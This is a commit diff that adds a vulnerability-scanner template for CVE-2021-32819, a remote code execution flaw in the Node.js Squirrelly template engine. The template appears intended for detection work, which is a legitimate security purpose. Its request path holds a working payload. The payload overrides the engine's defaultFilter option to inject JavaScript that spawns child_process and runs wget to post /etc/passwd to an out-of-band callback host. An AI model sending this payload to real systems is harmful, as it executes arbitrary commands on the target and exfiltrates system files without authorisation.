Create CVE-2021-32819.yaml

cves/2021/CVE-2021-32819.yaml

@@ -0,0 +1,26 @@
+id: CVE-2021-32819
+
+info:
+  name: Nodejs squirrelly RCE
+  author: pikpikcu
+  severity: critical
+  description: |
+    Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration
+    options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is
+    currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.
+  reference: |
+    - https://www.linuxlz.com/aqld/2331.html
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32819
+  tags: cve,cve2021,nodejs,rce
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20--post-file%20/etc/passwd%20{{interactsh-url}}%27);'
+
+     matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+          - "dns"